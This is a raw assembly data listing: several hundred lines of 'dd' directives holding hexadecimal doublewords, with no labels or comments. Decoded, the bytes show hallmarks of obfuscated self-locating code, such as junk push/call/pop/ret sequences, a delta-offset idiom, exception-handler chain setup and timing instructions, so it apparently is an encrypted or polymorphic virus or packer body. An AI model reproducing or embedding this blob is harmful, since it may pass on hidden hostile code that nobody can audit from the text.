		dd 0E96106ACh, 0Bh, 4554D1D3h, 0F56F5CC8h, 61D00935h, 6810Fh
		dd 9D030000h, 6AC0B65h,	0B219B58Bh, 6A06AFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D27697C3h
		dd 0DD1CA97h, 858BCECEh, 6AC00A9h, 68B0Fh, 0B5890000h
		dd 6AC345Dh, 6A0689h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 78FDACC3h, 97565687h, 13E92Eh, 75230000h
		dd 0ABC025B0h, 0D2E4C098h, 2B82DD2Dh, 60EC430Ch, 0D9958995h
		dd 8B06AC30h, 0AC32B985h, 0C98D2906h, 8906AC30h, 8B0F0446h
		dd 6, 259D9D8Bh, 9D2B06ACh, 6AC2755h, 0F88B6696h, 5890F50h
		dd 0BB000000h, 5BC6298Dh, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 359D8BBDh
		dd 8B06AC1Eh, 0AC1B81BDh, 15B5FF06h, 6A06AFB2h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0FE13C352h, 19C1BD8Bh, 4E806ACh, 0FF000000h,	51001F03h
		dd 0A477C9BFh, 8B505F13h, 24448BD9h, 0C6BB6604h, 89008BCAh
		dd 0F042444h, 489h, 0A6BF6600h,	85015898h, 6AC2381h, 0B21D858Dh
		dd 6A06AFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 8995AEC3h, 0EE5DB842h, 0F9F98B66h, 28F0F50h
		dd 8B000000h, 240489F8h, 1DB99D8Bh, 95FF06ACh, 6AC09BDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0DFC35747h
		dd 12E82Dh, 0F17C0000h,	2F1FCF63h, 35496959h, 26C94935h
		dd 0A01AC8E3h, 4EDB8166h, 20B35F0Bh, 50006A61h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0DE13DB93h
		dd 0F185C79Dh, 306AC27h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 167FC355h
		dd 6725A117h, 0E58D0153h, 5B06AC0Bh, 0B21DBD83h, 0F0006AFh
		dd 1184h, 85BD2900h, 0E906AC1Bh, 21h, 252D8509h, 305006ACh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0F2C10EDCh, 0D524ABDCh, 15159D89h, 0BD8B06ACh
		dd 6AC2D99h, 27F1BD83h,	0F0306ACh, 3E985h, 0BD83F800h
		dd 6AFB21Dh, 0DB840F00h, 6A000003h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1DABC356h
		dd 0FA8A0EF6h, 0B659589h, 0B5FF06ACh, 6AFB21Dh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 98C35343h, 9C595FFh
		dd 10E906ACh, 69000000h, 7074199Bh, 0F4951B03h,	141CC77Fh
		dd 8B94700Fh, 0AFB211B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 7101F939h
		dd 6C7C99Ch, 10001h, 1AA19529h,	665006ACh, 3489DA8Bh, 7D0FBB24h
		dd 0B5FF712Ch, 6AFB21Dh, 1C959D2Bh, 95FF06ACh, 6AC1F55h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	82C35040h, 53FBE381h, 0B58B2787h, 6AFB211h, 0E5858Bh
		dd 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 5873A2C3h, 0FA8EC9E1h, 0FFBA440h,	886h, 28E0F00h
		dd 0B3000000h, 0C4868938h, 6A000000h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BDDC353h
		dd 0AC0B3D9Dh, 0D958B06h, 0F506AC2Fh, 0BB04C283h, 5D5F176Dh
		dd 6A205089h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E806C350h, 8B301E73h,	0AC2101BDh
		dd 1E858D06h, 6A06AFC7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 86A6C355h, 66C862D4h
		dd 8689DA8Bh, 0B8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0CAC35646h, 0F91B2736h, 6458BF66h, 1171BD8Bh
		dd 6A06ACh, 0B5FFD98Bh,	6AFB21Dh, 1531BD23h, 95FF06ACh
		dd 6AC0DA5h, 23DDBD8Bh,	575006ACh, 2434895Bh, 0C3D8589h
		dd 0B5FF06ACh, 6AFB21Dh, 3267D781h, 95FF44B7h, 6AC090Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DAC35545h
		dd 89C1F835h, 0AC33199Dh, 0B8666006h, 61F5B8BFh, 0B61BD83h
		dd 0F0006ACh, 5884h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 71F25418h, 0AE948AFh
		dd 5000000h, 0F40B8617h, 0DF1E2845h, 0BB66966Ah, 0B35059EFh
		dd 6A9681h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 2E79BFC3h, 1DB5FF87h, 6A06AFB2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 927EC356h, 7D83D3C8h, 0E89CFB63h, 0Dh, 4B9000FEh, 0CB27A6F7h
		dd 7D26FB7Dh, 8D9531E8h, 5B06AC30h, 29B19D8Bh, 95FF06ACh
		dd 6AC2135h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	96C35747h, 49B589F5h, 0FF06AC14h, 0AFB21DB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 33D67D9Ch, 1AAB0AD7h, 14D995FFh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 3B28D8C3h
		dd 89909495h, 0AC295D95h, 0E9BD8306h, 206AC01h,	2E840Fh
		dd 0BF0F0000h, 0A9858BDFh, 0C606AC05h, 6A0000h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 7587ADC3h, 0D98A650Ch, 300185C7h, 6ACh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0A704AAC3h, 7B9570F6h, 0CE928h, 0D0CC0000h, 4AF0E38Eh
		dd 473C3416h, 45E92285h, 6AFFFFF2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6EFCC353h
		dd 0BE7F5584h, 2F11B529h, 0C18B06ACh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 5CC35646h, 0E84552DAh, 0Dh
		dd 57F7023Fh, 0D9402530h, 339C7326h, 0E5BD8BB5h, 5F06AC1Dh
		dd 0AE8h, 0BF2C4200h, 1EA8F3E4h, 5B7F9C5Fh, 2741858Dh
		dd 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 3677B2C3h, 6E860h, 699C0000h, 61DCB056h
		dd 4697BE66h, 0F9850959h, 6106AC2Ah, 0AE890h, 9AAE0000h
		dd 0C04D20C5h, 496F0043h, 0CCB9B960h, 525028B6h, 585A310Fh
		dd 66505B61h, 6A90FB8Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0FACCC351h,	66564DF6h
		dd 6FD0DF81h, 4585895Bh, 8106AC12h, 0BE793DCFh,	6A006A31h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 6E4CC357h, 82908114h, 6A2020h, 7E9B589h
		dd 858D06ACh, 6B075A2h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0D8C35343h, 5E9CE5Dh,	0DE000000h, 5E91040Ch
		dd 9005C083h, 90D98B50h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0C7C35747h, 0C3B13792h, 2293870h, 0B8B0FB1h
		dd 0F000000h, 581h, 1939BB00h, 6A4EFFh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0A6C35545h, 0A712945Fh
		dd 317E9124h, 0AC14A5BDh, 0F9B70F06h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0AE7D64C3h, 60B333F2h, 0B9858950h, 5806AC2Fh, 8E8h
		dd 0FAA31F00h, 0F8712503h, 759D8BFDh, 5B06AC1Ch, 0F995FF61h
		dd 6A06AC0Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 1F3EC357h, 8B808D8Dh, 0BBF06AFh
		dd 0FF016ADFh, 0D19D01D1h, 8306AC31h, 0AC0161BDh, 850F0106h
		dd 9Eh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 0B9C35141h, 0BBE38166h, 0BB026A0Bh, 6A6244Eh, 0DE890h
		dd 0FEC60000h, 3611CE06h, 0F71ED07Ch, 0E92C5003h, 13h
		dd 50B333F2h, 709E15FCh, 896288Dh, 2AF7FF0Dh, 5FEFC43Fh
		dd 8E850h, 0BD2F0000h, 90D06E90h, 880FA2BBh, 3,	5FF98B66h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BD015516h, 6AC1B91h, 28899529h,	95FF06ACh
		dd 6AC0DA5h, 0EFE9D98Bh, 0E800000Dh, 0
		dd 0ACED815Dh, 6A06B075h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0FFCBC350h,	0FE9F525h
		dd 65000000h, 82700D0Bh, 0E691DC40h, 0C0802570h, 6A02BCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0CFE126C3h, 980036CDh, 0F6AA8FFh, 858DFFBFh,	6AF7E3Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h
		dd 1C9981AFh, 0E9359826h, 11h, 9DB80286h, 39EC4A46h, 6E35C8B4h
		dd 611CE263h, 0C781661Bh, 8A904837h, 57BB50F9h,	9038356Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FC35242h
		dd 1AE8A716h, 30B78440h, 1CA5BD8Bh, 860F06ACh, 0
		dd 35FF64h, 8B000000h, 0AC1215BDh, 25896406h, 0
		dd 4DE3BF66h, 337585FFh, 958906ACh, 6AC2095h, 0B589FF6Ah
		dd 6AC1BEDh, 270DB5FFh,	6A06ACh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 2C0F80C3h, 0F2BFC2DAh
		dd 0FF7C8294h, 0AC206995h, 132E906h, 0B0F50000h, 75B58900h
		dd 0E606AC25h, 0AE870h,	41F80000h, 1FADA26Bh, 903ECE3Dh
		dd 0FAE78166h, 71E45FA6h, 9559D23h, 613C06ACh, 102830Fh
		dd 0FFC0000h, 9D8BC8B6h, 6AC2649h, 6BAh, 8B66B700h, 0C9BD23C1h
		dd 0C106AC2Ah, 0DF8104E8h, 31B6EB0Ch, 29218529h, 0F76606ACh
		dd 12E952E2h, 0B2000000h, 6CE3528h, 0C5912D1Eh,	0B4C8AD15h
		dd 72E0AA49h, 0C82B5F76h, 30BD8529h, 0D18B06ACh, 0FE8h
		dd 0C690C500h, 64958B36h, 3CDA0E67h, 0C46E3C8Dh, 281EE781h
		dd 0E95B695Ah, 4, 8F3FBF66h, 349D858Bh,	0B58906ACh, 6AC0789h
		dd 6607C083h, 0C083DE8Bh, 0EE800h, 0E22D0000h, 0BF02B776h
		dd 384D287Ah, 9964971Ch, 1084EF81h, 3B5F4B6Dh, 24830FD0h
		dd 33000000h, 0AC12EDBDh, 0F606006h, 84h, 0ED9D8B00h, 6106AC2Fh
		dd 3EE961h, 8B660000h, 0B98509FBh, 8B06AC2Dh, 0AC085D8Dh
		dd 9D8D8906h, 8306AC33h, 840F01E1h, 20h, 9E9ABB66h, 90B6BF66h
		dd 85DA583h, 0FCFE06ACh, 349D9589h, 0F5006ACh, 0E95FD8BFh
		dd 0
		dd 0ED80B58Dh, 6A06AFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 2BE079C3h, 7BFAAB2Ah, 6A006AE7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0D87AC353h, 0BD09E7F1h, 6AC2715h,	214595FFh
		dd 9D8B06ACh, 6AC111Dh,	7DAB9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 1D8589B8h
		dd 8306AC11h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FCFC41C3h, 10B5BD23h, 0B806ACh
		dd 3000000h, 0AC27099Dh, 8BD22B06h, 0AC1425BDh,	0C233AD06h
		dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 582AA6C0h
		dd 8100A50Eh, 279F1BEFh, 6D85891Eh, 0D06AC31h, 88h, 0B98D8B60h
		dd 906AC05h, 0AC05718Dh, 958B6106h, 6AC2F0Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 52C35343h, 58D8B00h
		dd 6A06AC1Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 6261C352h, 4EF0D781h, 8D890FBDh
		dd 6AC2F11h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 6D12AAC3h, 0B6D0876h, 0AC0AB59Dh,	5D853106h
		dd 8306AC14h, 0AC1229BDh, 840F0006h, 77h, 8199D8Bh, 0B806ACh
		dd 0F000000h, 0E86h, 850F6000h,	0
		dd 8A0Fh, 89610000h, 0AC201D9Dh, 338D8D06h, 6A06AC4Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 1423C355h, 607F6E4h, 28A404BFh, 6AE1FF2Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 99E8C352h, 0F5858925h, 8306AC33h,	0AC27F1BDh
		dd 840F0006h, 422h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 6FC35343h, 3E53B45Ah,	892417C3h, 0AC0B8585h
		dd 0F1BD8306h, 106AC27h, 407840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3EAC12C3h
		dd 0A227D7E6h, 8B2295D1h, 0AC05719Dh, 0B0BF6606h, 0F1BD8378h
		dd 306AC27h, 395860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0B78440C3h, 5D9C4530h
		dd 0CC22BB66h, 39958960h, 0E906AC31h, 9, 19E4DD47h, 837732Fh
		dd 0D98C6614h, 5D184CBBh, 4E1800Ah, 0FC59D8Bh, 0C90A06ACh
		dd 19B840Fh, 0B5010000h, 6AC20F5h, 32B9858Bh, 9D8B06ACh
		dd 6AC1A0Dh, 19E98533h,	6A06ACh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0F1D0F5C3h, 11E8706Fh
		dd 0BF000000h, 8C0D6FC4h, 0BF10BDAFh, 272ED978h, 0C93E9943h
		dd 28A99D8Bh, 8B5B06ACh, 95BF90F8h, 50671FEDh, 11E9h, 759E0000h
		dd 390474CDh, 0AE246E5Ch, 72BC90BBh, 8B9008DAh,	0AC31A19Dh
		dd 8B006A06h, 0AC3145BDh, 4E806h, 3FF0000h, 0E850001Fh
		dd 0Bh,	0D232B532h, 914BFA1Bh, 5B009AFBh, 424448Bh, 108C0Fh
		dd 0BE90000h, 0AB000000h, 41FF4786h, 34F26920h,	8BF478h
		dd 48F0Fh, 0BB660000h, 4489BF59h, 52500424h, 890Fh, 310F0000h
		dd 521159BBh, 58585A2Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0ECC35343h, 28D55C2Eh, 818E83CEh, 9D2AFECBh
		dd 41BD232Fh, 0FF06AC1Ch, 0AC09BD95h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0B30DF4D3h, 0E4DCE8Ah, 2111BD8Bh, 850F06ACh,	4, 61616060h
		dd 0B21D8589h, 6A06AFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 248D34C3h, 299F7D47h, 0AC28098Dh
		dd 0E93DB306h, 13Ah, 13E8h, 0AFC87E00h,	0AB1BE959h, 5C8031B5h
		dd 0ABA0D127h, 946DA38h, 0E459D89h, 8B5B06ACh, 0AC00959Dh
		dd 15858B06h, 6606AFB2h, 66E131BBh, 0F7DFC781h,	1800C7h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 611AEBC3h, 0BFDF8B29h, 765D1F4Fh,	0B219B58Bh
		dd 0E38106AFh, 696ADFECh, 0A9858Bh, 958906ACh, 6AC34E9h
		dd 0BF660689h, 858B0F6Fh, 6AC32B9h, 895BF951h, 8B660446h
		dd 665250F8h, 5B9ACCBFh, 89243489h, 0AC1A35BDh,	15B5FF06h
		dd 6606AFB2h, 0E768F88Bh, 0F1ED6F1h, 88h, 24348100h, 1EC9F218h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8FC35242h
		dd 41B58936h, 8906AC0Bh, 0AC0BB18Dh, 1D858D06h,	6606AFB2h
		dd 5390FA8Bh, 0DE9h, 92F64900h,	0AEE09630h, 79FBEEFFh
		dd 505BA4F2h, 2F9387BFh, 6A9023h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 90C682C3h, 84E4B291h
		dd 28519D8Bh, 95FF06ACh, 6AC09BDh, 0B219589h, 6A6106ACh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 2D8BC356h, 0F87D79BCh, 27F185C7h,	306ACh
		dd 8B660000h, 1DBD83FEh, 6AFB2h, 55840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F375FC3h, 1189h, 5E800h, 0DA920000h, 8B38FFA8h, 0AC0AC5BDh
		dd 37E95B06h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 50A2C355h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0FBBFC08Bh
		dd 6A623F23h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 6096C355h, 29FCC79Fh, 0AC2769BDh
		dd 0F1BD8306h, 306AC27h, 490850Fh, 890F0000h, 3, 8BDAB70Fh
		dd 0AC1CA1BDh, 1DBD8306h, 6AFB2h, 474840Fh, 0F3810000h
		dd 1B86BEC3h, 0B21DB5FFh, 9D8906AFh, 6AC000Dh, 9C595FFh
		dd 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 649A57C3h, 0F98D8932h, 8106AC29h,	0C9673DE7h
		dd 11B58B56h, 2906AFB2h, 0AC00E98Dh, 106C706h, 6A000100h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 7290C352h, 0A9875146h, 0E9950156h, 5F06AC25h
		dd 52505196h, 0EB6B57BFh, 60310F18h, 5F585A61h,	6A9650h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 944CFDC3h, 243CA389h, 1DB5FFF8h, 6A06AFB2h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0D53BC351h, 28817C3Dh, 0BE8513Ah, 0BA000000h, 8C5D36C0h
		dd 7E7B539Fh, 5F5F4193h, 11E8h,	0CE23C900h, 46997B04h
		dd 0E838F98Eh, 9E680445h, 8E0F43ADh, 6,	2F118D89h, 0FF5B06ACh
		dd 0AC1F5595h, 8BFA8B06h, 0AFB211B5h, 9E806h, 56E40000h
		dd 8EB7A245h, 0F56AA5D8h, 0E5858B5Bh, 6A06AC00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 1C1EC353h, 846FBDDh,	1DE8160h, 661E8E82h, 8B61D78Bh
		dd 0AC3111BDh, 0C4868906h, 66000000h, 8B2F3BBBh, 0AC2F0D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 2F0C3787h, 8E82E4Ch, 0E1000000h,	32668192h
		dd 60C7CA25h, 81669DB7h, 61CB93C0h, 899D235Fh, 8306AC1Ch
		dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 31CCB9C3h, 0AC10D1B5h, 0F5E38106h, 89261D19h
		dd 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 971FC7C3h, 0F57F231h, 68Bh, 55BD0100h, 5B06AC22h
		dd 0C71E858Dh, 0BD8906AFh, 6AC2E59h, 0B88689h, 0BD2B0000h
		dd 6AC0739h, 0E781006Ah, 42F9BBE1h, 0B21DB5FFh,	8B5106AFh
		dd 0AC2995BDh, 95FF5F06h, 6AC0DA5h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0B6C35343h,	83D55993h, 14E9965Fh
		dd 0DE000000h, 6D770F51h, 7D7AE2C9h, 882BAE14h,	0D343015Bh
		dd 50E0DE2Ch, 6A96FE8Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0F567C350h,	0BD8BEEBDh
		dd 6AC3415h, 0B21DB5FFh, 6A06AFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 4F519EC3h, 8C0F850Fh
		dd 9, 3890Fh, 8B660000h, 0D95FFFEh, 6A06AC09h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0B577C356h, 0EE8h, 31BA4100h, 13CAE9Fh, 546BA3DEh
		dd 5723D927h, 37A3BF66h, 0BD835F5Bh, 6AC0B61h, 4F840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 964CC353h, 0FBBF6650h,	6A96AFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 90BBB0C3h, 8167D4F0h, 0F213ADCFh, 0C3816649h, 0B5FF6AC7h
		dd 6AFB21Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	62C35343h, 0BC2FFC02h, 0A6E01EE3h, 9E9h, 523D5B00h
		dd 67E247Eh, 9D8B224Eh,	6AC23D1h, 213595FFh, 9D2906ACh
		dd 6AC0535h, 0B21DB5FFh, 0BF0F06AFh, 0D995FFDEh, 0B06AC14h
		dd 0AC2995BDh, 0E9BD8306h, 206AC01h, 61840Fh, 8BF90000h
		dd 0AC05A985h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 6AC7FDB5h, 51FCC8C6h
		dd 1BC1BD2Bh, 0BB5B06ACh, 36F0038h, 6A0000C6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0F513C352h, 0D78F1AF1h, 0F99D2906h, 0C706AC05h, 0AC300185h
		dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0CBA2D119h, 8084B0AEh, 3DE9DCDFh
		dd 0E9FFFFF3h, 12h, 8451C515h, 2D11E7F6h, 0A5FB6A5Ah, 0F129392Bh
		dd 0C18BD0E6h, 5E9h, 442CC100h,	858D9248h, 6AC2741h, 13E9h
		dd 0F2E5D800h, 8BC31278h, 90737A60h, 18E28784h,	0CC91623Fh
		dd 0DF8B6690h, 3820F50h, 66000000h, 0E890DE8Bh,	0Ch, 5B8723D0h
		dd 0EDCEEAE6h, 0C8DD43CBh, 6A5BFCh, 6AD2E780h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0EC34C62Eh, 9D896083h, 6AC0ED5h, 30058D89h, 8D6106ACh
		dd 0B085BB85h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 35964F62h, 0BDE8C06Ch
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 3105C351h, 0AC1BCD85h,	0AE89006h
		dd 64000000h, 143679F7h, 1B6608E9h, 66505B2Eh, 0F890F98Bh
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0FFAA1EC3h, 0EC7C928Ah, 0B006A6Bh, 0AC0665BDh
		dd 11E906h, 24970000h, 54DAF601h, 0E52DAA34h, 0E915F935h
		dd 0FF6D30AFh, 0AC0AF995h, 0F1BD8B06h, 2906AC11h, 0AC20A195h
		dd 808D8D06h, 6A06AF8Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0E280C353h,	0DE8B00Bh
		dd 0B000000h, 0CA18A786h, 9EDD515Ch, 534D8508h,	0CE8h
		dd 0E92A7100h, 54BC72F6h, 0E14682C6h, 7E8EFh, 0E8DA0000h
		dd 7A19E9D7h, 5F5F5BC2h, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 56811C3h, 0E38111BCh
		dd 4B335D2h, 161BD83h, 0F0106ACh, 6A85h, 0E7816600h, 26A99D7h
		dd 4353BB66h, 0DE890h, 0FCFD0000h, 0D4F35030h, 26690C39h
		dd 0E9DC6683h, 6, 31A6A9A5h, 505BBAD3h,	138C0Fh, 0BE80000h
		dd 0A0000000h, 54EFBE86h, 2A6A8CBh, 5F539198h, 0FFFC905Fh
		dd 0AC0DA595h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E9C426A0h, 0D8Ah, 0E8h
		dd 0ED815D00h, 6B085C5h, 6AD98Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 52B6CEC3h, 0BCDA8EE9h
		dd 0F381607Ch, 537BCE11h, 9D0161F5h, 6AC1009h, 0AFD9D8Bh
		dd 858D06ACh, 6AF7E3Bh,	6840Fh,	0BD8B0000h, 6AC2025h, 8E950h
		dd 1EED0000h, 0E176D44Ah, 48943BFh, 0F98B6624h,	1C259589h
		dd 0FF6406ACh, 35h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 300698C1h, 818C92FAh
		dd 0E4E3E1DFh, 2589643Dh, 0
		dd 14258D09h, 9D3306ACh, 6AC0D9Dh, 337585FFh, 6A06ACh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A83713C3h, 0E1DF7B52h, 9D8BFF6Ah, 6AC2939h,	253DB5FFh
		dd 8D8906ACh, 6AC2391h,	2B71BD8Bh, 95FF06ACh, 6AC2069h
		dd 114E9h, 9E900h, 8E2A0000h, 8C3E12D5h, 8B1950B6h, 0AC25499Dh
		dd 5300B006h, 3189BD89h, 8B5B06ACh, 0AC33D59Dh,	0F70E606h
		dd 38Bh, 0D98B6600h, 9D8B71E4h,	6AC10A1h, 830F613Ch, 0D5h
		dd 66C8B60Fh, 0BA0BD7BFh, 6, 148B0Fh, 0FE90000h, 8D000000h
		dd 8B72BFCAh, 0F2626671h, 0A766DC3Fh, 0C18B9638h, 0C1DEB70Fh
		dd 0BD8B04E8h, 6AC1AB1h, 89E2F766h, 0AC14258Dh,	0FC82B06h
		dd 489h, 61605000h, 80D18B5Bh, 6E97BD7h, 89000000h, 0AC1BF995h
		dd 55858B06h, 6006AC0Ch, 0CE9E68Ah, 0B4000000h,	0DEEE78DEh
		dd 0B45283F2h, 61D81CABh, 8907C083h, 0AC0C49B5h, 0C08306h
